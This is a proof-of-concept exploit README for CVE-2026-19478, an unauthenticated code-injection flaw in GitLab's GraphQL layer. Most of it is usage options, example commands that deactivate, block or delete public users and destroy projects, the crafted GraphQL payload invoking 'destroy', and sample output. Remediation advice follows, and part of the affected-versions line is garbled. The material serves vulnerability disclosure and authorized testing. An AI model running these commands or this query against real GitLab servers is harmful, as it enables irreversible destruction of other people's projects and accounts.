Sploitus

Exploit for CVE-2026-19478

githubexploit · 2026-08-18

Exploit Code

README141 lines
## https://sploitus.com/exploit?id=184A4957-531E-5235-B1B3-A85EA65453F1
# CVE-2026-19478  PoC



**Unauthenticated remote code-injection in GitLab's GraphQL layer** that lets an
attacker **modify or delete public projects and user data** with a single crafted
query. No authentication, no user interaction, no special privileges.

| | |
|---|---|
| **Severity** | 9.4 Critical — `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H` |
| **CWE** | CWE-94 (Improper Control of Generation of Code / Code Injection) |
| **Affected** | GitLab CE/EE `>= 18.2, = 18.2,  (--project  | --user )
               [--mode check|modify|destroy|delete|custom]
               [--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
```

| Option | Description |
|--------|-------------|
| `--url` | GitLab base URL, e.g. `https://gitlab.example.com` |
| `--project` | Full path of a public project, e.g. `group/subgroup/project` |
| `--user` | Username of a public user, e.g. `alice` |
| `--mode` | `check` (default, benign `touch`) · `modify` (user: `deactivate`, project: `touch`) · `destroy` · `delete` · `custom` |
| `--method` | Method name for `--mode custom` (must be a valid GraphQL name) |
| `--token` | Optional GitLab `PRIVATE-TOKEN` (version detection / auth) |
| `--version` | Skip detection, force a version string |
| `--insecure` | Disable TLS certificate verification |

Destructive modes (`modify`, `destroy`, `delete`) require an interactive
`yes` confirmation.

### Examples

```bash
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project

# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block

# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm

# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate

# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete

# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
               --mode custom --method reload

# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
               --token  --insecure
```

---

## Expected output

### Vulnerable instance

```text
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
    Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
  project(fullPath: "group/public-project") {
    name
    destroy @gl_introduced(version: "999.0.0")
  }
}

[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.
```

### Patched instance

```text
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).
```

The patched response is a normal GraphQL validation error:

```json
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }
```

### Parent not resolvable

```text
[!] Parent object is null -> project/user not found or not visible.
    (For projects, use the full path, e.g. group/subgroup/project)
```

The target must be **public** (project visibility `Public`, or a user whose profile
is publicly resolvable via GraphQL). If the parent is null, the method is never
called.

---



## Remediation

* Upgrade to GitLab **18.11.11**, **19.0.8**, **19.1.6** or **19.2.4** (or later).
* Until patched: restrict network access to `/api/graphql`, or disable the
  `@gl_introduced` version-filter feature if it is not needed.

---

## References

* https://nvd.nist.gov/vuln/detail/CVE-2026-19478
* https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
* https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
* https://hackerone.com/reports/3926431
* Fix commit: `e283c6ad` "Prevent calling object method when resolving fallback field"

---

*This PoC is provided for defensive security research and authorized testing only.
Do not run it against systems you do not own or lack explicit permission to test.*